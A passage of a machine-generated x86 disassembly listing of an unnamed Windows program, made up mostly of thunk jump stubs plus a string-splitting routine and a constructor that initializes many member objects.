sub_401FD7 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401FDC proc near ; CODE XREF: sub_404690+48p
; sub_404690+5Dp ...
jmp sub_409E00
sub_401FDC endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401FE1 proc near ; DATA XREF: ___:off_43F090o
jmp sub_419A50
sub_401FE1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401FE6 proc near ; CODE XREF: sub_41A1E0+3p
; sub_41B140+9j ...
jmp sub_41A210
sub_401FE6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401FEB proc near ; CODE XREF: sub_40BD90+34p
; sub_40C200+67p
jmp sub_40C120
sub_401FEB endp
; ---------------------------------------------------------------------------
jmp loc_433980
; ---------------------------------------------------------------------------
loc_401FF5: ; DATA XREF: ___:off_43F094o
jmp loc_436570
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401FFA proc near
jmp sub_40F180
sub_401FFA endp
; ---------------------------------------------------------------------------
jmp loc_4375F0
; ---------------------------------------------------------------------------
loc_402004: ; DATA XREF: ___:0043F03Co
jmp loc_41EEB0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_402009 proc near ; CODE XREF: sub_41F960+5Ap
jmp sub_420040
sub_402009 endp
; ---------------------------------------------------------------------------
jmp loc_431670
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_402013 proc near ; CODE XREF: ___:00416B2Bp
; ___:0043B288j ...
jmp sub_417C00
sub_402013 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_402018 proc near ; CODE XREF: ___:00416E7Fp
jmp sub_4131F0
sub_402018 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40201D proc near ; CODE XREF: sub_421B80+5p
jmp sub_422080
sub_40201D endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_402022 proc near ; CODE XREF: ___:00421754p
jmp sub_41C0A0
sub_402022 endp
; ---------------------------------------------------------------------------
off_402027 dd offset byte_4BF4E9 ; DATA XREF: ___:off_43F008o
align 4
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40202C proc near ; CODE XREF: sub_404690+2CEp
; sub_404CC0+46Fp ...
jmp sub_40A750
sub_40202C endp
; ---------------------------------------------------------------------------
jmp loc_434410
; ---------------------------------------------------------------------------
jmp sub_41B4D0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40203B proc near ; CODE XREF: sub_422470+Ap
jmp sub_422750
sub_40203B endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_402040 proc near ; CODE XREF: sub_404CC0+7E7p
jmp sub_41BA50
sub_402040 endp
; ---------------------------------------------------------------------------
loc_402045: ; DATA XREF: ___:off_43F014o
jmp loc_40AEC0
; ---------------------------------------------------------------------------
loc_40204A: ; DATA XREF: ___:off_43F088o
jmp loc_42D150
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40204F proc near ; CODE XREF: ___:0040AEC3p
; ___:0040FFAEp ...
jmp sub_40AEF0
sub_40204F endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_402054 proc near ; CODE XREF: sub_424920+109p
; sub_424920+178p ...
jmp sub_424800
sub_402054 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_402059 proc near ; CODE XREF: sub_4099C0+7p
jmp sub_409AB0
sub_402059 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40205E proc near ; CODE XREF: sub_416760+Ap
jmp sub_416970
sub_40205E endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_402063 proc near
jmp sub_40CBF0
sub_402063 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_402068 proc near ; CODE XREF: ___:004301DBp
; sub_4310C0+EAp
jmp sub_434320
sub_402068 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40206D proc near ; CODE XREF: sub_421A60+5p
; sub_421B50+6p ...
jmp sub_421FF0
sub_40206D endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_402072 proc near ; CODE XREF: sub_410030+8ADp
; sub_410030+95Ep ...
jmp sub_411A60
sub_402072 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_402077 proc near ; CODE XREF: sub_40C120+7p
jmp sub_40C310
sub_402077 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_40207C proc near ; CODE XREF: sub_418A40+34p
; sub_418F90+67p
jmp sub_418DA0
sub_40207C endp
; ---------------------------------------------------------------------------
jmp loc_409BF0
; ---------------------------------------------------------------------------
loc_402086: ; DATA XREF: ___:off_43F13Co
jmp loc_4292B0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40208B proc near ; CODE XREF: sub_417120+2Bp
; sub_417120+3Bp ...
jmp sub_403F30
sub_40208B endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_402090 proc near ; CODE XREF: sub_4098B0+14p
jmp sub_409910
sub_402090 endp
; ---------------------------------------------------------------------------
jmp loc_4332C0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40209A proc near ; CODE XREF: sub_428DC0:loc_428FCBp
jmp sub_428CE0
sub_40209A endp
; ---------------------------------------------------------------------------
jmp sub_427940
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4020A4 proc near ; CODE XREF: sub_418430+4Dp
jmp sub_418B70
sub_4020A4 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4020A9 proc near ; CODE XREF: sub_415230+5p
; sub_4153F0+6p ...
jmp sub_415DE0
sub_4020A9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4020AE proc near ; CODE XREF: sub_427940+3p
jmp sub_427970
sub_4020AE endp
; ---------------------------------------------------------------------------
jmp loc_41B1F0
; ---------------------------------------------------------------------------
jmp loc_421720
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_4020BD proc near ; CODE XREF: ___:00416E4Fp
jmp sub_407080
sub_4020BD endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4020C2 proc near ; CODE XREF: sub_413740+83p
; sub_4145A0+91p ...
jmp sub_4153F0
sub_4020C2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4020C7 proc near ; DATA XREF: ___:0043F054o
jmp sub_41F030
sub_4020C7 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4020CC proc near ; CODE XREF: sub_40AAD0+144p
jmp sub_40ADE0
sub_4020CC endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4020D1 proc near ; CODE XREF: sub_431240+BAp
; sub_433C70+36p
jmp sub_433CE0
sub_4020D1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4020D6 proc near ; CODE XREF: sub_421EF0+23p
; sub_422340+11p
jmp sub_4224E0
sub_4020D6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_4020DB proc near ; CODE XREF: sub_4221E0+4p
jmp sub_4225F0
sub_4020DB endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4020E0 proc near ; CODE XREF: sub_42BB00+3BBp
jmp sub_42B730
sub_4020E0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4020E5 proc near ; CODE XREF: ___:0041A312p
jmp sub_41A3B0
sub_4020E5 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4020EA proc near ; CODE XREF: sub_416860+Ap
jmp sub_4169C0
sub_4020EA endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4020EF proc near ; DATA XREF: ___:off_43F18Co
jmp sub_42C5C0
sub_4020EF endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_4020F4 proc near ; CODE XREF: sub_415D70+4p
jmp sub_416590
sub_4020F4 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_4020F9 proc near ; CODE XREF: ___:004307A6p
; ___:00430808p ...
jmp sub_434AD0
sub_4020F9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4020FE proc near ; CODE XREF: sub_418E20+8p
jmp sub_4190C0
sub_4020FE endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_402103 proc near ; CODE XREF: sub_418990+34p
; sub_418E80+67p
jmp sub_418CA0
sub_402103 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_402108 proc near ; CODE XREF: sub_41A7D0+117p
jmp sub_41A960
sub_402108 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40210D proc near ; CODE XREF: sub_415BA0+35p
jmp sub_416670
sub_40210D endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_402112 proc near ; CODE XREF: sub_404CC0+459p
; sub_406730+43p ...
jmp sub_409CA0
sub_402112 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_402117 proc near ; CODE XREF: sub_40BE00+5p
; sub_40BF40+6p ...
jmp sub_40C140
sub_402117 endp
; ---------------------------------------------------------------------------
jmp loc_4308A0
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_402121 proc near ; CODE XREF: ___:00416F7Ap
jmp sub_4191B0
sub_402121 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_402126 proc near ; CODE XREF: ___:0042AD23p
jmp sub_42AD50
sub_402126 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40212B proc near ; CODE XREF: sub_410030+F3Dp
; sub_410030+1392p ...
jmp sub_4148A0
sub_40212B endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_402130 proc near ; CODE XREF: sub_413A80+38p
; sub_413E70+5Fp
jmp sub_4135E0
sub_402130 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_402135 proc near ; CODE XREF: sub_40A210+14p
; sub_40A240+7p ...
jmp sub_40A260
sub_402135 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40213A proc near ; CODE XREF: sub_42B440+157p
jmp sub_42AFF0
sub_40213A endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40213F proc near ; CODE XREF: sub_40ACC0+1Ap
; sub_40AD10+1Ap
jmp sub_40AD80
sub_40213F endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_402144 proc near ; CODE XREF: sub_4156F0+3p
; ___:00415F1Fp ...
jmp sub_416150
sub_402144 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_402149 proc near ; DATA XREF: ___:0043F02Co
jmp sub_410030
sub_402149 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40214E proc near ; CODE XREF: sub_4148A0+EDp
jmp sub_415920
sub_40214E endp
; ---------------------------------------------------------------------------
jmp loc_41B490
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_402158 proc near ; CODE XREF: sub_40BF00+3p
jmp sub_40C180
sub_402158 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40215D proc near ; CODE XREF: sub_40BFA0+11p
; ___:0040BFC7p ...
jmp sub_40C2C0
sub_40215D endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_402162 proc near ; CODE XREF: sub_41E760+2C5p
jmp sub_4208E0
sub_402162 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_402167 proc near ; CODE XREF: sub_41D930+64Fp
jmp sub_41C170
sub_402167 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_40216C proc near ; CODE XREF: sub_418CC0+32p
jmp sub_418F90
sub_40216C endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_402171 proc near ; CODE XREF: sub_40ED00+ACp
; ___:0040F42Dp
jmp sub_40EE40
sub_402171 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_402176 proc near ; CODE XREF: sub_4138B0+93p
jmp sub_434D10
sub_402176 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_40217B proc near ; CODE XREF: sub_4152A0+1Fp
; sub_415BA0+2Cp
jmp sub_415B00
sub_40217B endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_402180 proc near ; CODE XREF: ___:0042670Dp
jmp sub_4266D0
sub_402180 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_402185 proc near ; CODE XREF: sub_420630+17Dp
jmp sub_421AD0
sub_402185 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40218A proc near ; CODE XREF: ___:0042D551p
jmp sub_42B380
sub_40218A endp
; ---------------------------------------------------------------------------
loc_40218F: ; DATA XREF: ___:off_43F010o
jmp loc_409BF0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_402194 proc near ; CODE XREF: sub_40AAD0+6Ap
; sub_40AAD0+103p
jmp sub_40AD10
sub_402194 endp
; ---------------------------------------------------------------------------
jmp loc_426280
; ---------------------------------------------------------------------------
jmp loc_427910
; ---------------------------------------------------------------------------
jmp loc_41AD00
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4021A8 proc near ; CODE XREF: sub_407270+14p
; sub_4072B0+9p ...
jmp sub_407510
sub_4021A8 endp
; ---------------------------------------------------------------------------
jmp loc_416DE0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4021B2 proc near ; CODE XREF: sub_40B0E0+1Bp
jmp sub_433DC0
sub_4021B2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4021B7 proc near ; CODE XREF: ___:00415B5Ap
jmp sub_4165E0
sub_4021B7 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4021BC proc near ; CODE XREF: sub_4309A0+ABp
; sub_431980+1Bp ...
jmp sub_4319F0
sub_4021BC endp
; ---------------------------------------------------------------------------
jmp loc_42FD80
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_4021C6 proc near ; CODE XREF: ___:00408773p
; ___:00408795p ...
jmp sub_4199C0
sub_4021C6 endp
; ---------------------------------------------------------------------------
jmp loc_42DA00
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4021D0 proc near ; CODE XREF: sub_40B600+55p
jmp sub_40A0B0
sub_4021D0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4021D5 proc near ; DATA XREF: ___:off_43F14Co
jmp sub_429510
sub_4021D5 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_4021DA proc near ; CODE XREF: sub_421BF0+34p
; sub_422510+67p
jmp sub_422230
sub_4021DA endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4021DF proc near ; CODE XREF: sub_407140+2Cp
; sub_407140+68p ...
jmp sub_4072B0
sub_4021DF endp
; ---------------------------------------------------------------------------
jmp loc_4346E0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4021E9 proc near ; CODE XREF: sub_41C710+1B3p
; sub_41C710+332p ...
jmp sub_41D770
sub_4021E9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_4021EE proc near ; CODE XREF: sub_40BD50+11p
; sub_40BFA0+1Fp
jmp sub_40C0D0
sub_4021EE endp
; ---------------------------------------------------------------------------
jmp loc_4308E0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4021F8 proc near ; CODE XREF: sub_4246D0+1Ap
; sub_4247B0+1Bp ...
jmp sub_424500
sub_4021F8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_4021FD proc near ; CODE XREF: ___:00416ABBp
jmp sub_418A40
sub_4021FD endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_402202 proc near
jmp sub_42CE60
sub_402202 endp
; ---------------------------------------------------------------------------
jmp loc_42FF70
; ---------------------------------------------------------------------------
jmp loc_430100
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_402211 proc near ; CODE XREF: sub_434450+1Bp
jmp sub_4344C0
sub_402211 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_402216 proc near ; CODE XREF: sub_42F6F0+101p
jmp sub_42F040
sub_402216 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40221B proc near ; DATA XREF: ___:off_43F00Co
jmp sub_407210
sub_40221B endp
; ---------------------------------------------------------------------------
jmp loc_42F5C0
; ---------------------------------------------------------------------------
jmp locret_418940
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40222A proc near ; CODE XREF: sub_403720+25p
; sub_403720+35p ...
jmp sub_403CE0
sub_40222A endp
; ---------------------------------------------------------------------------
jmp loc_4343F0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_402234 proc near ; CODE XREF: sub_418430+88p
; sub_418430+98p
jmp sub_418B90
sub_402234 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_402239 proc near ; CODE XREF: ___:00416BBBp
; ___:0043B20Aj ...
jmp sub_417870
sub_402239 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40223E proc near ; CODE XREF: sub_418BE0+5p
jmp sub_418E50
sub_40223E endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_402243 proc near ; CODE XREF: sub_414710+3p
jmp sub_414740
sub_402243 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_402248 proc near ; CODE XREF: ___:004305EBp
; ___:00430F17p ...
jmp sub_431DC0
sub_402248 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40224D proc near ; DATA XREF: ___:off_43F11Co
jmp sub_4288F0
sub_40224D endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_402252 proc near ; CODE XREF: sub_430B30+102p
; sub_432A20+5Dp ...
jmp sub_431B00
sub_402252 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_402257 proc near ; CODE XREF: sub_4135E0+5Cp
; sub_4135E0+C0p ...
jmp sub_415540
sub_402257 endp
; ---------------------------------------------------------------------------
jmp loc_432700
; ---------------------------------------------------------------------------
jmp loc_430460
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_402266 proc near ; CODE XREF: sub_41D930+203p
jmp sub_42E3C0
sub_402266 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40226B proc near ; CODE XREF: sub_42F6F0+148p
; sub_42F6F0+173p
jmp sub_42EF60
sub_40226B endp
; ---------------------------------------------------------------------------
jmp loc_42F490
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_402275 proc near ; CODE XREF: sub_4134A0+34p
; sub_4148A0+40p
jmp sub_4159F0
sub_402275 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40227A proc near ; CODE XREF: sub_40CC90+1A4p
; sub_40D040+ADp
jmp sub_40D040
sub_40227A endp
; ---------------------------------------------------------------------------
jmp loc_42F510
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_402284 proc near ; CODE XREF: sub_422B40+938p
jmp loc_424080
sub_402284 endp
; ---------------------------------------------------------------------------
jmp loc_419B90
; ---------------------------------------------------------------------------
loc_40228E: ; CODE XREF: ___:00439FE6j
jmp loc_40CFC0
; ---------------------------------------------------------------------------
db 129Dh dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_403530 proc near ; CODE XREF: sub_4019C4j
var_46C = dword ptr -46Ch
var_468 = byte ptr -468h
var_450 = byte ptr -450h
var_438 = byte ptr -438h
var_420 = byte ptr -420h
var_408 = dword ptr -408h
var_404 = byte ptr -404h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push 0FFFFFFFFh
push offset SEH_403530
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 460h
mov eax, [esp+46Ch+arg_4]
push ebp
push esi
push edi
mov [esp+478h+var_408], eax
mov eax, [esp+478h+arg_8]
xor edi, edi
mov esi, 1
cmp eax, edi
mov [esp+478h+var_46C], edi
jz short loc_403589
lea edx, [esp+478h+arg_8]
lea ecx, [esp+478h+var_404]
loc_40357A: ; CODE XREF: sub_403530+57j
add edx, 4
mov [ecx], eax
inc esi
add ecx, 4
mov eax, [edx]
cmp eax, edi
jnz short loc_40357A
loc_403589: ; CODE XREF: sub_403530+3Dj
lea ecx, [esp+478h+var_468]
mov [esp+esi*4+478h+var_408], edi
call sub_40142E
push offset asc_4445EC ; "|"
lea ecx, [esp+47Ch+var_438]
mov [esp+47Ch+var_4], 1
call sub_401870
push offset aABCDEFGHIJKLMN ; "a|b|c|d|e|f|g|h|i|j|k|l|m|n|o|p|q|r|s|t"...
lea ecx, [esp+47Ch+var_468]
mov byte ptr [esp+47Ch+var_4], 2
call sub_401A9B
push offset byte_448F40
lea ecx, [esp+47Ch+var_450]
call sub_401870
mov byte ptr [esp+478h+var_4], 3
xor esi, esi
lea edi, [esp+478h+var_408]
loc_4035E1: ; CODE XREF: sub_403530+105j
mov ebp, [edi]
test ebp, ebp
jz short loc_403637
lea ecx, [esp+478h+var_438]
call sub_40168B
dec ebp
push eax
lea ecx, [esp+47Ch+var_420]
push ebp
push ecx
lea ecx, [esp+484h+var_468]
call sub_4016B8
mov ecx, eax
mov byte ptr [esp+478h+var_4], 4
call sub_4017EE
push eax
lea ecx, [esp+47Ch+var_450]
call sub_401AAF
lea ecx, [esp+478h+var_420]
mov byte ptr [esp+478h+var_4], 3
call sub_401226
inc esi
add edi, 4
cmp esi, 0FFh
jb short loc_4035E1
loc_403637: ; CODE XREF: sub_403530+B5j
mov esi, [esp+478h+arg_0]
lea edx, [esp+478h+var_450]
push edx
mov ecx, esi
call sub_4014D3
mov [esp+478h+var_46C], 1
lea ecx, [esp+478h+var_450]
mov byte ptr [esp+478h+var_4], 2
call sub_401226
lea ecx, [esp+478h+var_438]
mov byte ptr [esp+478h+var_4], 1
call sub_401226
lea ecx, [esp+478h+var_468]
mov byte ptr [esp+478h+var_4], 0
call sub_401226
mov ecx, [esp+478h+var_C]
mov eax, esi
pop edi
pop esi
pop ebp
mov large fs:0, ecx
add esp, 46Ch
retn
sub_403530 endp
; ---------------------------------------------------------------------------
db 90h
db 60h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_403700 proc near ; CODE XREF: sub_40168Bj
mov eax, [ecx+9]
retn
sub_403700 endp
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_403720 proc near ; CODE XREF: sub_40129Ej
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_403720
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
call sub_4011B3
lea ecx, [esi+9]
call sub_40222A
lea ecx, [esi+52h]
mov [esp+14h+var_4], 0
call sub_40222A
lea ecx, [esi+9Bh]
mov byte ptr [esp+14h+var_4], 1
call sub_40222A
lea ecx, [esi+0E4h]
mov byte ptr [esp+14h+var_4], 2
call sub_40222A
lea ecx, [esi+12Dh]
mov byte ptr [esp+14h+var_4], 3
call sub_40222A
lea ecx, [esi+176h]
mov byte ptr [esp+14h+var_4], 4
call sub_40222A
lea ecx, [esi+1BFh]
mov byte ptr [esp+14h+var_4], 5
call sub_40222A
lea ecx, [esi+208h]
mov byte ptr [esp+14h+var_4], 6
call sub_40222A
lea ecx, [esi+251h]
mov byte ptr [esp+14h+var_4], 7
call sub_40222A
lea ecx, [esi+29Ah]
mov byte ptr [esp+14h+var_4], 8
call sub_40222A
lea ecx, [esi+2E3h]
mov byte ptr [esp+14h+var_4], 9
call sub_40222A
lea ecx, [esi+32Ch]
mov byte ptr [esp+14h+var_4], 0Ah
call sub_40222A
lea ecx, [esi+375h]
mov byte ptr [esp+14h+var_4], 0Bh
call sub_40222A
lea ecx, [esi+3BEh]
mov byte ptr [esp+14h+var_4], 0Ch
call sub_40222A
lea ecx, [esi+407h]
mov byte ptr [esp+14h+var_4], 0Dh
call sub_40222A
lea ecx, [esi+450h]
mov byte ptr [esp+14h+var_4], 0Eh
call sub_40222A
lea ecx, [esi+499h]
mov byte ptr [esp+14h+var_4], 0Fh
call sub_40222A
lea ecx, [esi+4E2h]
mov byte ptr [esp+14h+var_4], 10h
call sub_40222A
lea ecx, [esi+52Bh]
mov byte ptr [esp+14h+var_4], 11h
call sub_40222A
mov byte ptr [esp+14h+var_4], 12h
lea ecx, [esi+574h]
call sub_40222A
lea ecx, [esi+5BDh]
mov byte ptr [esp+14h+var_4], 13h
call sub_40222A
lea ecx, [esi+606h]
mov byte ptr [esp+14h+var_4], 14h
call sub_40222A
lea ecx, [esi+64Fh]
mov byte ptr [esp+14h+var_4], 15h
call sub_40222A
lea ecx, [esi+698h]
mov byte ptr [esp+14h+var_4], 16h
call sub_40222A
lea ecx, [esi+6E1h]
mov byte ptr [esp+14h+var_4], 17h
call sub_40222A
lea ecx, [esi+72Ah]
mov byte ptr [esp+14h+var_4], 18h
call sub_40222A
lea ecx, [esi+773h]
mov byte ptr [esp+14h+var_4], 19h
call sub_40222A
lea ecx, [esi+7BCh]
mov byte ptr [esp+14h+var_4], 1Ah
call sub_40222A
lea ecx, [esi+805h]
mov byte ptr [esp+14h+var_4], 1Bh
call sub_40222A
lea ecx, [esi+84Eh]
mov byte ptr [esp+14h+var_4], 1Ch
call sub_40222A
lea ecx, [esi+897h]
mov byte ptr [esp+14h+var_4], 1Dh
call sub_40222A
lea ecx, [esi+8E0h]
mov byte ptr [esp+14h+var_4], 1Eh
call sub_40222A
lea ecx, [esi+929h]
mov byte ptr [esp+14h+var_4], 1Fh
call sub_40222A
lea ecx, [esi+972h]
mov byte ptr [esp+14h+var_4], 20h
call sub_40222A
lea ecx, [esi+9BBh]
mov byte ptr [esp+14h+var_4], 21h
call sub_40222A
lea ecx, [esi+0A04h]
mov byte ptr [esp+14h+var_4], 22h
call sub_40222A
lea ecx, [esi+0A4Dh]
mov byte ptr [esp+14h+var_4], 23h
call sub_40222A
lea ecx, [esi+0A96h]
mov byte ptr [esp+14h+var_4], 24h
call sub_40222A
lea ecx, [esi+0ADFh]
mov byte ptr [esp+14h+var_4], 25h
call sub_40222A
lea ecx, [esi+0B28h]
mov byte ptr [esp+14h+var_4], 26h
call sub_40222A
lea ecx, [esi+0B71h]
mov byte ptr [esp+14h+var_4], 27h
call sub_401753
lea ecx, [esi+0B9Fh]
mov byte ptr [esp+14h+var_4], 28h
call sub_401753
lea ecx, [esi+0BCDh]
mov byte ptr [esp+14h+var_4], 29h
call sub_401753
lea ecx, [esi+0BFBh]
mov byte ptr [esp+14h+var_4], 2Ah
call sub_401753
lea ecx, [esi+0C29h]
mov byte ptr [esp+14h+var_4], 2Bh
call sub_401753
lea ecx, [esi+0C57h]
mov byte ptr [esp+14h+var_4], 2Ch
call sub_401753
lea ecx, [esi+0C85h]
mov byte ptr [esp+14h+var_4], 2Dh
call sub_401753
lea ecx, [esi+0CB3h]
mov byte ptr [esp+14h+var_4], 2Eh
call sub_401753
lea ecx, [esi+0CE1h]
mov byte ptr [esp+14h+var_4], 2Fh
call sub_401753
lea ecx, [esi+0D0Fh]
mov byte ptr [esp+14h+var_4], 30h
call sub_401753
lea ecx, [esi+0D3Dh]
mov byte ptr [esp+14h+var_4], 31h
call sub_401753
lea ecx, [esi+0D6Bh]
mov byte ptr [esp+14h+var_4], 32h
call sub_401753
lea ecx, [esi+0D99h]
mov byte ptr [esp+14h+var_4], 33h
call sub_401753
lea ecx, [esi+0DC7h]
mov byte ptr [esp+14h+var_4], 34h
call sub_401753
lea ecx, [esi+0DF5h]
mov byte ptr [esp+14h+var_4], 35h
call sub_401753
lea ecx, [esi+0E23h]
mov byte ptr [esp+14h+var_4], 36h
call sub_401753
lea ecx, [esi+0E51h]
mov byte ptr [esp+14h+var_4], 37h
call sub_401753
lea ecx, [esi+0E7Fh]
mov byte ptr [esp+14h+var_4], 38h
call sub_4011A4
lea ecx, [esi+10C7h]
mov byte ptr [esp+14h+var_4], 39h
call sub_4011A4
lea ecx, [esi+130Fh]
mov byte ptr [esp+14h+var_4], 3Ah
call sub_4011A4
lea ecx, [esi+1557h]
mov byte ptr [esp+14h+var_4], 3Bh
call sub_4011A4
lea ecx, [esi+179Fh]
mov byte ptr [esp+14h+var_4], 3Ch
call sub_4011A4
mov ecx, [esp+14h+var_C]
mov dword ptr [esi], offset off_43F000
mov byte ptr [esi+4], 0
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_403720 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 110h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_403C50 proc near ; CODE XREF: sub_401023j
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_403C50
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
lea ecx, [esi+15h]
mov [esp+14h+var_4], 0
call sub_401226
mov ecx, esi
mov [esp+14h+var_4], 0FFFFFFFFh
call sub_401226
mov ecx, [esp+14h+var_C]
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_403C50 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_403CC0 proc near ; CODE XREF: sub_4011B3j
mov eax, ecx
mov dword ptr [eax], offset off_43F004
retn
sub_403CC0 endp
; ---------------------------------------------------------------------------
db 7 dup(90h)
